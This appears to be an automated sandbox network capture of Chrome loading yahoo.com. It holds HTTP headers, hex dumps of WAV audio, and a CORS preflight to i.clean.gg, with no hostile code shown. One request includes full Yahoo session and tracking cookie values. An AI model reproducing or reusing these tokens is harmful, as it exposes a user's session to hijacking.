2024-04-27 22:41:59 UTC	1300	IN	Data Raw: d0 9a ca 3c 2a ec 69 3c 36 39 6b 3c 98 e0 8b 3b 89 f1 8c 3b c9 cf 9f bb a3 24 a0 bb 3f c9 59 bc c9 98 5a bc a7 d0 a6 bc b8 7d a7 bc ff 95 d2 bc 63 77 d3 bc 2d f9 f2 bc 75 01 f4 bc 64 a4 05 bd 06 37 06 bd 1f 96 10 bd ee 35 11 bd 27 cc 1c bd 74 7a 1d bd bc b6 2a bd be 75 2b bd 57 ad 3b bd ae 80 3c bd ca 76 4f bd ba 61 50 bd 20 df 61 bd 29 e0 62 bd 91 00 71 bd a2 13 72 bd 41 19 7d bd ba 3a 7e bd f8 3d 81 bd ee d1 81 bd 5a 52 7d bd 17 74 7e bd b6 01 6e bd fa 10 6f bd 7a b7 56 bd cf aa 57 bd dc 85 3a bd 6e 57 3b bd 47 af 1b bd e6 5b 1c bd 88 3a f5 bc 67 44 f6 bc 8b 29 b5 bc b1 e6 b5 bc f2 0f 80 bc 75 8d 80 bc 1f ab 28 bc 24 3d 29 bc 80 20 b6 bb 91 8a b6 bb 97 33 b6 ba 7d 4e b5 ba 4b ff 34 3b f1 b9 36 3b fd a4 fa 3b f1 41 fc 3b df fd 5b 3c d7 3d 5d 3c eb 28 a5 Data Ascii: <i<69k<;;$?YZ}cw-ud75'tzu+W;<vOaP a)bqrA}:~=ZR}t~nozVW:nW;G[:gD)u($=) 3}NK4;6;;A;[<=]<(
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 77 96 51 bd 48 7f 52 bd d9 7f 64 bd 34 7f 65 bd d0 26 72 bd 85 36 73 bd 06 67 77 bd 01 7d 78 bd d4 0b 73 bd 81 1c 74 bd 13 42 67 bd b2 44 68 bd d8 6b 55 bd 14 59 56 bd 56 61 3e bd e7 32 3f bd de 61 24 bd 53 14 25 bd c0 3c 0a bd d4 cf 0a bd 14 46 e6 bc e7 34 e7 bc 91 a0 c0 bc 7d 62 c1 bc ed 68 9e bc d7 01 9f bc ea bf 78 bc 6c a0 79 bc a1 9d 37 bc 00 30 38 bc c6 dc e3 bb ee 59 e4 bb 59 68 da ba 40 20 d9 ba 05 b0 9d 3b e5 ff 9e 3b cb f4 4a 3c 93 31 4c 3c b2 18 aa 3c 1d 09 ab 3c 13 16 f0 3c 48 5a f1 3c 02 6b 19 3d 27 35 1a 3d a5 74 36 3d 87 61 37 3d d1 68 4c 3d 0a 70 4d 3d 16 37 5b 3d fc 4f 5c 3d 1e fb 62 3d 63 1d 64 3d 4d 65 62 3d c5 86 63 3d 7d 52 5b 3d 90 6b 5c 3d b2 3d 52 3d e6 4b 53 3d 08 4e 49 3d 73 51 4a 3d f5 e8 40 3d 4d e2 41 3d 55 56 39 3d a9 46 3a Data Ascii: wQHRd4e&r6sgw}xstBgDhkUYVVa>2?a$S%<F4}bhxly708YYh@ ;;J<1L<<<<HZ<k='5=t6=a7=hL=pM=7[=O\=b=cd=Meb=c=}R[=k\==R=KS=NI=sQJ=@=MA=UV9=F:
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 4c 9c c1 bc 7b b2 a4 bc 2c 56 a5 bc 80 c8 80 bc 6a 41 81 bc 18 2d 21 bc 50 ab 21 bc 24 b7 35 bb 0f 87 35 bb 35 14 a6 3b d7 5f a7 3b f6 96 5c 3c 89 e1 5d 3c 23 fc b3 3c dd f4 b4 3c f0 e1 f5 3c ae 29 f7 3c 31 50 17 3d 01 16 18 3d 7e d3 2c 3d 07 b3 2d 3d dc 61 3b 3d b7 52 3c 3d bd aa 43 3d 95 a5 44 3d c7 26 46 3d 8b 24 47 3d 74 26 45 3d fa 22 46 3d ae 56 43 3d ff 50 44 3d 6e 2e 41 3d 2e 26 42 3d 20 2b 3f 3d 67 20 40 3d e4 a3 3e 3d 8d 98 3f 3d a4 55 3f 3d 01 4b 40 3d b9 42 3f 3d 17 38 40 3d 8d af 3b 3d 7f a0 3c 3d bb 55 32 3d 73 3b 33 3d c6 2c 23 3d 60 00 24 3d 81 97 0e 3d 72 52 0f 3d 4b 07 e7 3c 1f 3c e8 3c 88 36 a5 3c 84 1c a6 3c 15 bf 3c 3c ff e0 3d 3c c9 86 3f 3b dc 6b 41 3b 3b a7 a8 bb 2f f2 a8 bb 6e e1 47 bc 25 91 48 bc 54 c5 93 bc a4 56 94 bc 60 d4 b9 Data Ascii: L{,VjA-!P!$555;_;\<]<#<<<)<1P==~,=-=a;=R<=C=D=&F=$G=t&E="F=VC=PD=n.A=.&B= +?=g @=>=?=U?=K@=B?=8@=;=<=U2=s;3=,#=`$==rR=K<<<6<<<<=<?;kA;;/nG%HTV`
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 52 e7 2b 3d 5e be 2c 3d d6 a7 2f 3d 7b 83 30 3d b6 04 34 3d 92 e5 34 3d d7 47 39 3d f9 2e 3a 3d 99 80 3f 3d 11 6f 40 3d a9 05 45 3d c3 fa 45 3d fc ad 47 3d 2e a6 48 3d f1 1d 46 3d 47 14 47 3d ee 41 3f 3d 0c 30 40 3d ca 56 32 3d 5a 35 33 3d a9 ce 1e 3d e4 95 1f 3d d8 be 04 3d c8 66 05 3d 65 1d cd 3c f8 24 ce 3c c3 2d 8f 3c 17 eb 8f 3c 38 2b 25 3c ea 14 26 3c 6e 04 48 3b ae 83 49 3b a1 f4 50 bb 1b 60 51 bb 4b 9a 09 bc b1 1b 0a bc e5 b2 4f bc 71 88 50 bc 8f d4 85 bc 38 63 86 bc 11 93 a2 bc 32 44 a3 bc ee c9 c0 bc 20 9f c1 bc 7a bc e1 bc 45 b9 e2 bc b6 61 03 bd 4b f6 03 bd f7 64 17 bd 7f 11 18 bd 9c 07 2b bd be cb 2b bd 7f 16 3d bd 32 f0 3d bd bd 4b 4c bd bc 37 4d bd 61 08 56 bd 0b 00 57 bd 5d 53 58 bd c5 4d 59 bd 9a 26 53 bd e8 1a 54 bd 61 a3 47 bd cf 89 48 Data Ascii: R+=^,=/={0=4=4=G9=.:=?=o@=E=E=G=.H=F=GG=A?=0@=V2=Z53====f=e<$<-<<8+%<&<nH;I;P`QKOqP8c2D zEaKd++=2=KL7MaVW]SXMY&STaGH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	49933	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	569	OUT	GET /pv/static/misc/voice-result-202105050733.wav HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Referer: https://www.yahoo.com/ Accept-Language: en-US,en;q=0.9 Range: bytes=0-
2024-04-27 22:41:59 UTC	899	IN	HTTP/1.1 206 Partial Content x-amz-id-2: bBi9WDbR8JMnMHwoJmFgBvKrKPv4OEZ3tXXwxv0bxfpmxvA0lGkPMh+c043kFM7bgZaBOMOgJ0g= x-amz-request-id: Y937YGXMYNX92RP9 Date: Sat, 27 Apr 2024 14:32:38 GMT Last-Modified: Wed, 05 May 2021 07:33:25 GMT ETag: "f536e8f265fbbd76a5f7b9fc0ea0ad69" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public Expires: Mon, 05 May 2031 07:33:23 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: binary/octet-stream Server: ATS Content-Length: 80336 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 29362 Content-Range: bytes 0-80335/80336 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 52 49 46 46 c8 39 01 00 57 41 56 45 66 6d 74 20 10 00 00 00 03 00 02 00 44 ac 00 00 20 62 05 00 08 00 20 00 64 61 74 61 48 07 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: RIFF9WAVEfmt D b dataH
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 03 a3 c1 3c 1f 1d 64 3c 4c 2c 65 3c ed 94 3f 3b 8b 71 40 3b 02 58 36 bc a0 34 37 bc 12 81 ce bc 9e 79 cf bc 21 91 18 bd 89 48 19 bd 62 75 45 bd 9e 62 46 bd f4 fb 67 bd 8e 12 69 bd 96 42 7b bd 41 70 7c bd f4 33 82 bd 44 d0 82 bd 0c 95 82 bd d9 31 83 bd 64 65 81 bd c7 00 82 bd f4 8a 81 bd 90 26 82 bd 69 14 80 bd 4b ae 80 bd 6b cc 7d bd 5b fd 7e bd 23 48 84 bd 10 e7 84 bd 12 f6 8b bd 3b 9e 8c bd 64 87 8f bd d6 33 90 bd cb 91 90 bd 7a 3f 91 bd 2b b3 8e bd 99 5e 8f bd ca 6f 87 bd 8e 12 88 bd 30 73 75 bd 51 9a 76 bd e4 5e 4d bd 1d 56 4e bd 04 f7 19 bd b8 b0 1a bd b2 0e ce bc 21 08 cf bc 95 32 4e bc 5f 2f 4f bc b8 88 ac 38 a9 69 aa 38 cc 2c 1f 3c 5a e5 1f 3c ed 72 87 3c 06 12 88 3c 0b 46 ba 3c f4 21 bb 3c 15 63 df 3c 5d 6b e0 3c 81 4e f5 3c f3 70 f6 3c cc b2 05 Data Ascii: <d<L,e<?;q@;X647y!HbuEbFgiB{Ap\|3D1de&iKk}[~#H;d3z?+^o0suQv^MVN!2N_/O8i8,<Z<r<<F<!<c<]k<N<p<
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 08 bb 7c bd 97 ec 7d bd 01 39 88 bd 8a dd 88 bd 6e e1 90 bd 5a 90 91 bd e8 80 95 bd 4e 35 96 bd 90 e9 98 bd 13 a2 99 bd e8 26 99 bd a3 df 99 bd 26 b4 91 bd f4 63 92 bd 49 52 83 bd db f0 83 bd 07 0e 60 bd d9 1c 61 bd e5 3a 34 bd 36 15 35 bd 6a d0 08 bd c2 76 09 bd 3d 97 b8 bc fb 78 b9 bc d1 eb 42 bc b5 de 43 bc 89 53 7f bb e3 54 80 bb 2e 4e f4 3a f8 27 f5 3a d4 3c e8 3b 0c 41 e9 3b 5c 24 37 3c ba f6 37 3c 76 4b 70 3c 6a 62 71 3c 7e d0 9f 3c 85 8b a0 3c eb ab d2 3c ef a3 d3 3c 31 0d 07 3d e8 ac 07 3d fb cf 28 3d 17 98 29 3d cc e7 4a 3d d5 d8 4b 3d 53 bc 6d 3d fe d6 6e 3d 8e 71 87 3d c6 12 88 3d e3 15 91 3d b0 c2 91 3d fa d8 92 3d e6 87 93 3d 6c ee 90 3d 0c 9b 91 3d b4 87 8a 3d b9 2c 8b 3d c4 87 7c 3d 77 b4 7d 3d cb 11 5e 3d fc 19 5f 3d 86 14 3e 3d 5b f6 3e Data Ascii: \|}9nZN5&&cIR`a:465jv=xBCST.N:':<;A;\$7<7<vKp<jbq<~<<<<1==(=)=J=K=Sm=n=q======l===,=\|=w}=^=_=>=[>
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: c4 b4 72 bc a1 b2 25 bc 44 78 26 bc 9c c5 a9 bb 23 8f aa bb 8e 6a 3d ba db 3b 3e ba b0 48 6e 3b 9a 6a 6f 3b 6d 59 1c 3c 39 16 1d 3c 41 fa 8a 3c 7c a1 8b 3c e8 ca d0 3c c1 c5 d1 3c 4c a7 0f 3d d5 53 10 3d 53 1f 37 3d 0e fb 37 3d 34 36 5b 3d 3f 3d 5c 3d df da 78 3d 73 05 7a 3d c6 60 85 3d cc 00 86 3d 68 08 89 3d cf ac 89 3d 4d 32 89 3d ed d6 89 3d 92 e4 83 3d df 82 84 3d 08 b5 72 3d 89 d8 73 3d b2 96 5c 3d af 9f 5d 3d ff 7e 49 3d 2e 71 4a 3d e7 8f 38 3d ef 6d 39 3d ca 2b 2a 3d ac f8 2a 3d ad 4f 1d 3d 17 0d 1e 3d 9b 89 12 3d 34 3a 13 3d 40 b5 09 3d 55 5b 0a 3d 51 23 f7 3c b7 4d f8 3c 19 99 c8 3c d0 8b c9 3c 0a 58 8e 3c 1b 05 8f 3c cf 80 0a 3c ee 2b 0b 3c 34 61 29 bb 38 16 2a bb 95 ac 67 bc 76 bc 68 bc 05 a9 ce bc 81 9d cf bc 9b 13 12 bd 06 c1 12 bd 08 87 36 Data Ascii: r%Dx&#j=;>Hn;jo;mY<9<A<\|<<<L=S=S7=7=46[=?=\=x=sz=`==h==M2====r=s=\=]=~I=.qJ=8=m9=+==O===4:=@=U[=Q#<M<<<X<<<+<4a)8*gvh6
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: ba 52 79 3d 1c 84 7a 3d 7f d5 71 3d f3 fd 72 3d 64 75 65 3d ff 8e 66 3d 9d 9b 5a 3d 39 a8 5b 3d 1c 1d 51 3d 7f 1e 52 3d c2 5c 47 3d 7a 52 48 3d e5 3e 40 3d 21 2c 41 3d 63 4e 3c 3d ef 36 3d 3d de 7a 38 3d e8 5e 39 3d bf e9 30 3d dd c4 31 3d 98 1b 21 3d cb e3 21 3d 2e 15 09 3d a7 c0 09 3d 2c c1 d7 3c 4a d2 d8 3c 80 1d 8f 3c d3 d7 8f 3c 31 c9 db 3b 0c 0d dd 3b f6 9d 91 bb ce 0f 92 bb 46 73 75 bc ac 7a 76 bc 32 7b c9 bc 1e 5d ca bc d7 de 04 bd 40 76 05 bd 2e 65 1c bd 9c 18 1d bd 17 a5 2c bd f7 6b 2d bd 99 cf 36 bd 7e a2 37 bd 49 23 3e bd 05 ff 3e bd 8f a9 44 bd fc 8c 45 bd c1 e0 49 bd 5d ca 4a bd fa ad 51 bd de a0 52 bd bb 85 5f bd 27 89 60 bd 3a 82 6e bd 97 97 6f bd a0 e2 79 bd 82 05 7b bd ba cb 80 bd c4 61 81 bd 27 05 82 bd 9b 9c 82 bd a5 b6 7e bd 30 df 7f Data Ascii: Ry=z=q=r=due=f=Z=9[=Q=R=\G=zRH=>@=!,A=cN<=6==z8=^9=0=1=!=!=.==,<J<<<1;;Fsuzv2{]@v.e,k-6~7I#>>DEI]JQR_'`:noy{a'~0
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: d0 9a ca 3c 2a ec 69 3c 36 39 6b 3c 98 e0 8b 3b 89 f1 8c 3b c9 cf 9f bb a3 24 a0 bb 3f c9 59 bc c9 98 5a bc a7 d0 a6 bc b8 7d a7 bc ff 95 d2 bc 63 77 d3 bc 2d f9 f2 bc 75 01 f4 bc 64 a4 05 bd 06 37 06 bd 1f 96 10 bd ee 35 11 bd 27 cc 1c bd 74 7a 1d bd bc b6 2a bd be 75 2b bd 57 ad 3b bd ae 80 3c bd ca 76 4f bd ba 61 50 bd 20 df 61 bd 29 e0 62 bd 91 00 71 bd a2 13 72 bd 41 19 7d bd ba 3a 7e bd f8 3d 81 bd ee d1 81 bd 5a 52 7d bd 17 74 7e bd b6 01 6e bd fa 10 6f bd 7a b7 56 bd cf aa 57 bd dc 85 3a bd 6e 57 3b bd 47 af 1b bd e6 5b 1c bd 88 3a f5 bc 67 44 f6 bc 8b 29 b5 bc b1 e6 b5 bc f2 0f 80 bc 75 8d 80 bc 1f ab 28 bc 24 3d 29 bc 80 20 b6 bb 91 8a b6 bb 97 33 b6 ba 7d 4e b5 ba 4b ff 34 3b f1 b9 36 3b fd a4 fa 3b f1 41 fc 3b df fd 5b 3c d7 3d 5d 3c eb 28 a5 Data Ascii: <i<69k<;;$?YZ}cw-ud75'tzu+W;<vOaP a)bqrA}:~=ZR}t~nozVW:nW;G[:gD)u($=) 3}NK4;6;;A;[<=]<(
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 77 96 51 bd 48 7f 52 bd d9 7f 64 bd 34 7f 65 bd d0 26 72 bd 85 36 73 bd 06 67 77 bd 01 7d 78 bd d4 0b 73 bd 81 1c 74 bd 13 42 67 bd b2 44 68 bd d8 6b 55 bd 14 59 56 bd 56 61 3e bd e7 32 3f bd de 61 24 bd 53 14 25 bd c0 3c 0a bd d4 cf 0a bd 14 46 e6 bc e7 34 e7 bc 91 a0 c0 bc 7d 62 c1 bc ed 68 9e bc d7 01 9f bc ea bf 78 bc 6c a0 79 bc a1 9d 37 bc 00 30 38 bc c6 dc e3 bb ee 59 e4 bb 59 68 da ba 40 20 d9 ba 05 b0 9d 3b e5 ff 9e 3b cb f4 4a 3c 93 31 4c 3c b2 18 aa 3c 1d 09 ab 3c 13 16 f0 3c 48 5a f1 3c 02 6b 19 3d 27 35 1a 3d a5 74 36 3d 87 61 37 3d d1 68 4c 3d 0a 70 4d 3d 16 37 5b 3d fc 4f 5c 3d 1e fb 62 3d 63 1d 64 3d 4d 65 62 3d c5 86 63 3d 7d 52 5b 3d 90 6b 5c 3d b2 3d 52 3d e6 4b 53 3d 08 4e 49 3d 73 51 4a 3d f5 e8 40 3d 4d e2 41 3d 55 56 39 3d a9 46 3a Data Ascii: wQHRd4e&r6sgw}xstBgDhkUYVVa>2?a$S%<F4}bhxly708YYh@ ;;J<1L<<<<HZ<k='5=t6=a7=hL=pM=7[=O\=b=cd=Meb=c=}R[=k\==R=KS=NI=sQJ=@=MA=UV9=F:
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 4c 9c c1 bc 7b b2 a4 bc 2c 56 a5 bc 80 c8 80 bc 6a 41 81 bc 18 2d 21 bc 50 ab 21 bc 24 b7 35 bb 0f 87 35 bb 35 14 a6 3b d7 5f a7 3b f6 96 5c 3c 89 e1 5d 3c 23 fc b3 3c dd f4 b4 3c f0 e1 f5 3c ae 29 f7 3c 31 50 17 3d 01 16 18 3d 7e d3 2c 3d 07 b3 2d 3d dc 61 3b 3d b7 52 3c 3d bd aa 43 3d 95 a5 44 3d c7 26 46 3d 8b 24 47 3d 74 26 45 3d fa 22 46 3d ae 56 43 3d ff 50 44 3d 6e 2e 41 3d 2e 26 42 3d 20 2b 3f 3d 67 20 40 3d e4 a3 3e 3d 8d 98 3f 3d a4 55 3f 3d 01 4b 40 3d b9 42 3f 3d 17 38 40 3d 8d af 3b 3d 7f a0 3c 3d bb 55 32 3d 73 3b 33 3d c6 2c 23 3d 60 00 24 3d 81 97 0e 3d 72 52 0f 3d 4b 07 e7 3c 1f 3c e8 3c 88 36 a5 3c 84 1c a6 3c 15 bf 3c 3c ff e0 3d 3c c9 86 3f 3b dc 6b 41 3b 3b a7 a8 bb 2f f2 a8 bb 6e e1 47 bc 25 91 48 bc 54 c5 93 bc a4 56 94 bc 60 d4 b9 Data Ascii: L{,VjA-!P!$555;_;\<]<#<<<)<1P==~,=-=a;=R<=C=D=&F=$G=t&E="F=VC=PD=n.A=.&B= +?=g @=>=?=U?=K@=B?=8@=;=<=U2=s;3=,#=`$==rR=K<<<6<<<<=<?;kA;;/nG%HTV`
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 52 e7 2b 3d 5e be 2c 3d d6 a7 2f 3d 7b 83 30 3d b6 04 34 3d 92 e5 34 3d d7 47 39 3d f9 2e 3a 3d 99 80 3f 3d 11 6f 40 3d a9 05 45 3d c3 fa 45 3d fc ad 47 3d 2e a6 48 3d f1 1d 46 3d 47 14 47 3d ee 41 3f 3d 0c 30 40 3d ca 56 32 3d 5a 35 33 3d a9 ce 1e 3d e4 95 1f 3d d8 be 04 3d c8 66 05 3d 65 1d cd 3c f8 24 ce 3c c3 2d 8f 3c 17 eb 8f 3c 38 2b 25 3c ea 14 26 3c 6e 04 48 3b ae 83 49 3b a1 f4 50 bb 1b 60 51 bb 4b 9a 09 bc b1 1b 0a bc e5 b2 4f bc 71 88 50 bc 8f d4 85 bc 38 63 86 bc 11 93 a2 bc 32 44 a3 bc ee c9 c0 bc 20 9f c1 bc 7a bc e1 bc 45 b9 e2 bc b6 61 03 bd 4b f6 03 bd f7 64 17 bd 7f 11 18 bd 9c 07 2b bd be cb 2b bd 7f 16 3d bd 32 f0 3d bd bd 4b 4c bd bc 37 4d bd 61 08 56 bd 0b 00 57 bd 5d 53 58 bd c5 4d 59 bd 9a 26 53 bd e8 1a 54 bd 61 a3 47 bd cf 89 48 Data Ascii: R+=^,=/={0=4=4=G9=.:=?=o@=E=E=G=.H=F=GG=A?=0@=V2=Z53====f=e<$<-<<8+%<&<nH;I;P`QKOqP8c2D zEaKd++=2=KL7MaVW]SXMY&STaGH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	49935	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	1249	OUT	GET /tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=rMW2Wm8dqO0 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:59 UTC	1184	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 content-type: application/json; charset=utf-8 content-length: 21 etag: W/"15-umwiS4rIitQ2ijB3W71Mutm+O6U" vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:59 GMT x-envoy-upstream-service-time: 15 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=2qbmvi5j2qvpn&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:59 UTC	21	IN	Data Raw: 7b 22 64 61 74 61 22 3a 5b 5d 2c 22 6d 65 74 61 22 3a 7b 7d 7d Data Ascii: {"data":[],"meta":{}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	49934	34.95.69.49	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	493	OUT	OPTIONS /1a HTTP/1.1 Host: i.clean.gg Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	492	IN	HTTP/1.1 204 No Content Server: nginx/1.21.6 Date: Sat, 27 Apr 2024 22:41:59 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Origin,Accept,X-API-Key Access-Control-Max-Age: 1728000 Content-Type: text/plain; charset=utf-8 Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	49931	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	568	OUT	GET /pv/static/misc/voice-error-202105050733.wav HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Referer: https://www.yahoo.com/ Accept-Language: en-US,en;q=0.9 Range: bytes=0-
2024-04-27 22:41:59 UTC	910	IN	HTTP/1.1 206 Partial Content x-amz-id-2: RcjKNOU/rSCEnxGykPNzwVjft8+rkUtlCRhEo6vsHKk021nvnWRibHAqfqX5da+EW2DIElo38JycGozV0n1TPg== x-amz-request-id: 1DVGKXRZ9BMP71DA Date: Sat, 27 Apr 2024 22:21:45 GMT Last-Modified: Wed, 05 May 2021 07:33:41 GMT ETag: "f35ad0c20d2f7e02b99e4866a98989d1" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public Expires: Mon, 05 May 2031 07:33:40 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: binary/octet-stream Server: ATS Content-Length: 85336 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1215 Content-Range: bytes 0-85335/85336 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
